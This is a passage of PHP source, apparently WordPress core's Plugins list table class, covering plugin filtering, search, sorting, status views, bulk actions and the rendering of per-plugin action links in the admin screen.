			$status = $_REQUEST['plugin_status'];
		}

		if ( isset( $_REQUEST['s'] ) ) {
			$_SERVER['REQUEST_URI'] = add_query_arg( 's', wp_unslash( $_REQUEST['s'] ) );
		}

		$page = $this->get_pagenum();

		$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'plugin' )
			&& current_user_can( 'update_plugins' )
			&& ( ! is_multisite() || $this->screen->in_admin( 'network' ) );
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'activate_plugins' );
	}

	/**
	 * @global string $status
	 * @global array  $plugins
	 * @global array  $totals
	 * @global int    $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $plugins, $totals, $page, $orderby, $order, $s;

		wp_reset_vars( array( 'orderby', 'order' ) );

		/**
		 * Filters the full array of plugins to list in the Plugins list table.
		 *
		 * @since 3.0.0
		 *
		 * @see get_plugins()
		 *
		 * @param array $all_plugins An array of plugins to display in the list table.
		 */
		$all_plugins = apply_filters( 'all_plugins', get_plugins() );

		$plugins = array(
			'all'                => $all_plugins,
			'search'             => array(),
			'active'             => array(),
			'inactive'           => array(),
			'recently_activated' => array(),
			'upgrade'            => array(),
			'mustuse'            => array(),
			'dropins'            => array(),
			'paused'             => array(),
		);
		if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

			$plugins['auto-update-enabled']  = array();
			$plugins['auto-update-disabled'] = array();
		}

		$screen = $this->screen;

		if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {

			/**
			 * Filters whether to display the advanced plugins list table.
			 *
			 * There are two types of advanced plugins - must-use and drop-ins -
			 * which can be used in a single site or Multisite network.
			 *
			 * The $type parameter allows you to differentiate between the type of advanced
			 * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
			 *
			 * @since 3.0.0
			 *
			 * @param bool   $show Whether to show the advanced plugins for the specified
			 *                     plugin type. Default true.
			 * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
			 */
			if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
				$plugins['mustuse'] = get_mu_plugins();
			}

			/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) {
				$plugins['dropins'] = get_dropins();
			}

			if ( current_user_can( 'update_plugins' ) ) {
				$current = get_site_transient( 'update_plugins' );
				foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
					if ( isset( $current->response[ $plugin_file ] ) ) {
						$plugins['all'][ $plugin_file ]['update'] = true;
						$plugins['upgrade'][ $plugin_file ]       = $plugins['all'][ $plugin_file ];
					}
				}
			}
		}

		if ( ! $screen->in_admin( 'network' ) ) {
			$show = current_user_can( 'manage_network_plugins' );
			/**
			 * Filters whether to display network-active plugins alongside plugins active for the current site.
			 *
			 * This also controls the display of inactive network-only plugins (plugins with
			 * "Network: true" in the plugin header).
			 *
			 * Plugins cannot be network-activated or network-deactivated from this screen.
			 *
			 * @since 4.4.0
			 *
			 * @param bool $show Whether to show network-active plugins. Default is whether the current
			 *                   user can manage network plugins (ie. a Super Admin).
			 */
			$show_network_active = apply_filters( 'show_network_active_plugins', $show );
		}

		if ( $screen->in_admin( 'network' ) ) {
			$recently_activated = get_site_option( 'recently_activated', array() );
		} else {
			$recently_activated = get_option( 'recently_activated', array() );
		}

		foreach ( $recently_activated as $key => $time ) {
			if ( $time + WEEK_IN_SECONDS < time() ) {
				unset( $recently_activated[ $key ] );
			}
		}

		if ( $screen->in_admin( 'network' ) ) {
			update_site_option( 'recently_activated', $recently_activated );
		} else {
			update_option( 'recently_activated', $recently_activated );
		}

		$plugin_info = get_site_transient( 'update_plugins' );

		foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
			// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
			if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( empty( $plugin_data['update-supported'] ) ) {
				$plugin_data['update-supported'] = false;
			}

			/*
			 * Create the payload that's used for the auto_update_plugin filter.
			 * This is the same data contained within $plugin_info->(response|no_update) however
			 * not all plugins will be contained in those keys, this avoids unexpected warnings.
			 */
			$filter_payload = array(
				'id'            => $plugin_file,
				'slug'          => '',
				'plugin'        => $plugin_file,
				'new_version'   => '',
				'url'           => '',
				'package'       => '',
				'icons'         => array(),
				'banners'       => array(),
				'banners_rtl'   => array(),
				'tested'        => '',
				'requires_php'  => '',
				'compatibility' => new stdClass(),
			);

			$filter_payload = (object) wp_parse_args( $plugin_data, $filter_payload );

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, $filter_payload );

			if ( ! is_null( $auto_update_forced ) ) {
				$plugin_data['auto-update-forced'] = $auto_update_forced;
			}

			$plugins['all'][ $plugin_file ] = $plugin_data;
			// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade.
			if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
				$plugins['upgrade'][ $plugin_file ] = $plugin_data;
			}

			// Filter into individual sections.
			if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show inactive network-only plugins if allowed.
					$plugins['inactive'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-only plugins as long as they're not individually active.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show network-active plugins if allowed.
					$plugins['active'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-active plugins.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
				|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
				/*
				 * On the non-network screen, populate the active list with plugins that are individually activated.
				 * On the network admin screen, populate the active list with plugins that are network-activated.
				 */
				$plugins['active'][ $plugin_file ] = $plugin_data;

				if ( ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ) ) {
					$plugins['paused'][ $plugin_file ] = $plugin_data;
				}
			} else {
				if ( isset( $recently_activated[ $plugin_file ] ) ) {
					// Populate the recently activated list with plugins that have been recently activated.
					$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
				}
				// Populate the inactive list with plugins that aren't activated.
				$plugins['inactive'][ $plugin_file ] = $plugin_data;
			}

			if ( $this->show_autoupdates ) {
				$enabled = in_array( $plugin_file, $auto_updates, true ) && $plugin_data['update-supported'];
				if ( isset( $plugin_data['auto-update-forced'] ) ) {
					$enabled = (bool) $plugin_data['auto-update-forced'];
				}

				if ( $enabled ) {
					$plugins['auto-update-enabled'][ $plugin_file ] = $plugin_data;
				} else {
					$plugins['auto-update-disabled'][ $plugin_file ] = $plugin_data;
				}
			}
		}

		if ( strlen( $s ) ) {
			$status            = 'search';
			$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
		}

		/**
		 * Filters the array of plugins for the list table.
		 *
		 * @since 6.3.0
		 *
		 * @param array[] $plugins An array of arrays of plugin data, keyed by context.
		 */
		$plugins = apply_filters( 'plugins_list', $plugins );

		$totals = array();
		foreach ( $plugins as $type => $list ) {
			$totals[ $type ] = count( $list );
		}

		if ( empty( $plugins[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

		$this->items = array();
		foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
			// Translate, don't apply markup, sanitize HTML.
			$this->items[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
		}

		$total_this_page = $totals[ $status ];

		$js_plugins = array();
		foreach ( $plugins as $key => $list ) {
			$js_plugins[ $key ] = array_keys( $list );
		}

		wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'plugins' => $js_plugins,
				'totals'  => wp_get_update_data(),
			)
		);

		if ( ! $orderby ) {
			$orderby = 'Name';
		} else {
			$orderby = ucfirst( $orderby );
		}

		$order = strtoupper( $order );

		uasort( $this->items, array( $this, '_order_callback' ) );

		$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );

		$start = ( $page - 1 ) * $plugins_per_page;

		if ( $total_this_page > $plugins_per_page ) {
			$this->items = array_slice( $this->items, $start, $plugins_per_page );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
				'per_page'    => $plugins_per_page,
			)
		);
	}

	/**
	 * @global string $s URL encoded search term.
	 *
	 * @param array $plugin
	 * @return bool
	 */
	public function _search_callback( $plugin ) {
		global $s;

		foreach ( $plugin as $value ) {
			if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $plugin_a
	 * @param array $plugin_b
	 * @return int
	 */
	public function _order_callback( $plugin_a, $plugin_b ) {
		global $orderby, $order;

		$a = $plugin_a[ $orderby ];
		$b = $plugin_b[ $orderby ];

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $order ) {
			return strcasecmp( $b, $a );
		} else {
			return strcasecmp( $a, $b );
		}
	}

	/**
	 * @global array $plugins
	 */
	public function no_items() {
		global $plugins;

		if ( ! empty( $_REQUEST['s'] ) ) {
			$s = esc_html( urldecode( wp_unslash( $_REQUEST['s'] ) ) );

			/* translators: %s: Plugin search term. */
			printf( __( 'No plugins found for: %s.' ), '<strong>' . $s . '</strong>' );

			// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
			if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) {
				echo ' <a href="' . esc_url( admin_url( 'plugin-install.php?tab=search&s=' . urlencode( $s ) ) ) . '">' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . '</a>';
			}
		} elseif ( ! empty( $plugins['all'] ) ) {
			_e( 'No plugins found.' );
		} else {
			_e( 'No plugins are currently available.' );
		}
	}

	/**
	 * Displays the search box.
	 *
	 * @since 4.6.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

		$input_id = $input_id . '-search-input';

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		?>
		<p class="search-box">
			<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
			<input type="search" id="<?php echo esc_attr( $input_id ); ?>" class="wp-filter-search" name="s" value="<?php _admin_search_query(); ?>" placeholder="<?php esc_attr_e( 'Search installed plugins...' ); ?>" />
			<?php submit_button( $text, 'hide-if-js', '', false, array( 'id' => 'search-submit' ) ); ?>
		</p>
		<?php
	}

	/**
	 * @global string $status
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		global $status;

		$columns = array(
			'cb'          => ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ? '<input type="checkbox" />' : '',
			'name'        => __( 'Plugin' ),
			'description' => __( 'Description' ),
		);

		if ( $this->show_autoupdates && ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

	/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

		$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

			switch ( $type ) {
				case 'all':
					/* translators: %s: Number of plugins. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'plugins'
					);
					break;
				case 'active':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Active <span class="count">(%s)</span>',
						'Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'recently_activated':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Recently Active <span class="count">(%s)</span>',
						'Recently Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'inactive':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Inactive <span class="count">(%s)</span>',
						'Inactive <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'mustuse':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Must-Use <span class="count">(%s)</span>',
						'Must-Use <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'dropins':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Drop-in <span class="count">(%s)</span>',
						'Drop-ins <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'paused':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Paused <span class="count">(%s)</span>',
						'Paused <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

			if ( 'search' !== $type ) {
				$status_links[ $type ] = array(
					'url'     => add_query_arg( 'plugin_status', $type, 'plugins.php' ),
					'label'   => sprintf( $text, number_format_i18n( $count ) ),
					'current' => $type === $status,
				);
			}
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @global string $status
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

		$actions = array();

		if ( 'active' !== $status ) {
			$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' );
		}

		if ( 'inactive' !== $status && 'recent' !== $status ) {
			$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' );
		}

		if ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) {
			if ( current_user_can( 'update_plugins' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}

			if ( current_user_can( 'delete_plugins' ) && ( 'active' !== $status ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}

			if ( $this->show_autoupdates ) {
				if ( 'auto-update-enabled' !== $status ) {
					$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
				}
				if ( 'auto-update-disabled' !== $status ) {
					$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
				}
			}
		}

		return $actions;
	}

	/**
	 * @global string $status
	 * @param string $which
	 */
	public function bulk_actions( $which = '' ) {
		global $status;

		if ( in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		parent::bulk_actions( $which );
	}

	/**
	 * @global string $status
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $status;

		if ( ! in_array( $status, array( 'recently_activated', 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		echo '<div class="alignleft actions">';

		if ( 'recently_activated' === $status ) {
			submit_button( __( 'Clear List' ), '', 'clear-recent-list', false );
		} elseif ( 'top' === $which && 'mustuse' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: mu-plugins directory name. */
				__( 'Files in the %s directory are executed automatically.' ),
				'<code>' . str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) . '</code>'
			) . '</p>';
		} elseif ( 'top' === $which && 'dropins' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			) . '</p>';
		}
		echo '</div>';
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_POST['clear-recent-list'] ) ) {
			return 'clear-recent-list';
		}

		return parent::current_action();
	}

	/**
	 * @global string $status
	 */
	public function display_rows() {
		global $status;

		if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

		foreach ( $this->items as $plugin_file => $plugin_data ) {
			$this->single_row( array( $plugin_file, $plugin_data ) );
		}
	}

	/**
	 * @global string $status
	 * @global int $page
	 * @global string $s
	 * @global array $totals
	 *
	 * @param array $item
	 */
	public function single_row( $item ) {
		global $status, $page, $s, $totals;
		static $plugin_id_attrs = array();

		list( $plugin_file, $plugin_data ) = $item;

		$plugin_slug    = isset( $plugin_data['slug'] ) ? $plugin_data['slug'] : sanitize_title( $plugin_data['Name'] );
		$plugin_id_attr = $plugin_slug;

		// Ensure the ID attribute is unique.
		$suffix = 2;
		while ( in_array( $plugin_id_attr, $plugin_id_attrs, true ) ) {
			$plugin_id_attr = "$plugin_slug-$suffix";
			++$suffix;
		}

		$plugin_id_attrs[] = $plugin_id_attr;

		$context = $status;
		$screen  = $this->screen;

		// Pre-order.
		$actions = array(
			'deactivate' => '',
			'activate'   => '',
			'details'    => '',
			'delete'     => '',
		);

		// Do not restrict by default.
		$restrict_network_active = false;
		$restrict_network_only   = false;

		$requires_php = isset( $plugin_data['RequiresPHP'] ) ? $plugin_data['RequiresPHP'] : null;
		$requires_wp  = isset( $plugin_data['RequiresWP'] ) ? $plugin_data['RequiresWP'] : null;

		$compatible_php = is_php_version_compatible( $requires_php );
		$compatible_wp  = is_wp_version_compatible( $requires_wp );

		if ( 'mustuse' === $context ) {
			$is_active = true;
		} elseif ( 'dropins' === $context ) {
			$dropins     = _get_dropins();
			$plugin_name = $plugin_file;

			if ( $plugin_file !== $plugin_data['Name'] ) {
				$plugin_name .= '<br />' . $plugin_data['Name'];
			}

			if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} else {
				$is_active   = false;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="error-message">' . __( 'Inactive:' ) . '</span></strong> ' .
					sprintf(
						/* translators: 1: Drop-in constant name, 2: wp-config.php */
						__( 'Requires %1$s in %2$s file.' ),
						"<code>define('" . $dropins[ $plugin_file ][1] . "', true);</code>",
						'<code>wp-config.php</code>'
					) . '</p>';
			}

			if ( $plugin_data['Description'] ) {
				$description .= '<p>' . $plugin_data['Description'] . '</p>';
			}
		} else {
			if ( $screen->in_admin( 'network' ) ) {
				$is_active = is_plugin_active_for_network( $plugin_file );
			} else {
				$is_active               = is_plugin_active( $plugin_file );
				$restrict_network_active = ( is_multisite() && is_plugin_active_for_network( $plugin_file ) );
				$restrict_network_only   = ( is_multisite() && is_network_only_plugin( $plugin_file ) && ! $is_active );
			}

			if ( $screen->in_admin( 'network' ) ) {
				if ( $is_active ) {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						$actions['deactivate'] = sprintf(
							'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Network Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Network Deactivate' )
						);
					}
				} else {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						if ( $compatible_php && $compatible_wp ) {
							$actions['activate'] = sprintf(
								'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
								wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Network Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
								__( 'Network Activate' )
							);
						} else {
							$actions['activate'] = sprintf(
								'<span>%s</span>',
								_x( 'Cannot Activate', 'plugin' )
							);
						}
					}

					if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) {
						$actions['delete'] = sprintf(
							'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Delete' )
						);
					}
				}
			} else {
				if ( $restrict_network_active ) {
					$actions = array(
						'network_active' => __( 'Network Active' ),
					);
				} elseif ( $restrict_network_only ) {
					$actions = array(
						'network_only' => __( 'Network Only' ),
					);
				} elseif ( $is_active ) {
					if ( current_user_can( 'deactivate_plugin', $plugin_file ) ) {
						$actions['deactivate'] = sprintf(
							'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Deactivate' )
						);
					}

					if ( current_user_can( 'resume_plugin', $plugin_file ) && is_plugin_paused( $plugin_file ) ) {
						$actions['resume'] = sprintf(
							'<a href="%s" id="resume-%s" class="resume-link" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=resume&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'resume-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Resume %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Resume' )
						);
					}
				} else {
					if ( current_user_can( 'activate_plugin', $plugin_file ) ) {
						if ( $compatible_php && $compatible_wp ) {
							$actions['activate'] = sprintf(
								'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
								wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ),
								esc_attr( $plugin_id_attr ),
								/* translators: %s: Plugin name. */
								esc_attr( sprintf( _x( 'Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
								__( 'Activate' )
							);
						} else {
							$actions['activate'] = sprintf(
								'<span>%s</span>',
								_x( 'Cannot Activate', 'plugin' )
							);
						}
					}

					if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) {
						$actions['delete'] = sprintf(
							'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Delete' )
						);
					}
				} // End if $is_active.
			} // End if $screen->in_admin( 'network' ).
		} // End if $context.

		$actions = array_filter( $actions );

		if ( $screen->in_admin( 'network' ) ) {

			/**
			 * Filters the action links displayed for each plugin in the Network Admin Plugins list table.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'network_admin_plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

			/**
			 * Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "network_admin_plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

		} else {

			/**
			 * Filters the action links displayed for each plugin in the Plugins list table.
			 *
			 * @since 2.5.0
			 * @since 2.6.0 The `$context` parameter was added.
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'. With Multisite active
			 *                              this can also include 'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context );

			/**
			 * Filters the list of action links displayed for a specific plugin in the Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
			 * to the plugin file, relative to the plugins directory.
			 *
			 * @since 2.7.0
			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
			 *
			 * @param string[] $actions     An array of plugin action links. By default this can include
			 *                              'activate', 'deactivate', and 'delete'. With Multisite active
			 *                              this can also include 'network_active' and 'network_only' items.
			 * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
			 * @param array    $plugin_data An array of plugin data. See get_plugin_data()
			 *                              and the {@see 'plugin_row_meta'} filter for the list
			 *                              of possible values.
			 * @param string   $context     The plugin context. By default this can include 'all',
			 *                              'active', 'inactive', 'recently_activated', 'upgrade',
			 *                              'mustuse', 'dropins', and 'search'.
			 */
			$actions = apply_filters( "plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );

		}

		$class       = $is_active ? 'active' : 'inactive';
		$checkbox_id = 'checkbox_' . md5( $plugin_file );

		if ( $restrict_network_active || $restrict_network_only || in_array( $status, array( 'mustuse', 'dropins' ), true ) || ! $compatible_php ) {
			$checkbox = '';
		} else {
			$checkbox = sprintf(
				'<input type="checkbox" name="checked[]" value="%1$s" id="%2$s" />' .
				'<label for="%2$s"><span class="screen-reader-text">%3$s</span></label>',
				esc_attr( $plugin_file ),
				$checkbox_id,
				/* translators: Hidden accessibility text. %s: Plugin name. */
				sprintf( __( 'Select %s' ), $plugin_data['Name'] )
			);
		}

		if ( 'dropins' !== $context ) {
			$description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : '&nbsp;' ) . '</p>';
			$plugin_name = $plugin_data['Name'];
		}

		if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] )
			|| ! $compatible_php || ! $compatible_wp
		) {
			$class .= ' update';
		}

		$paused = ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file );

		if ( $paused ) {
			$class .= ' paused';
		}

		if ( is_uninstallable_plugin( $plugin_file ) ) {
			$class .= ' is-uninstallable';
		}

		printf(
			'<tr class="%s" data-slug="%s" data-plugin="%s">',
			esc_attr( $class ),
			esc_attr( $plugin_slug ),
			esc_attr( $plugin_file )
		);

		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

		foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
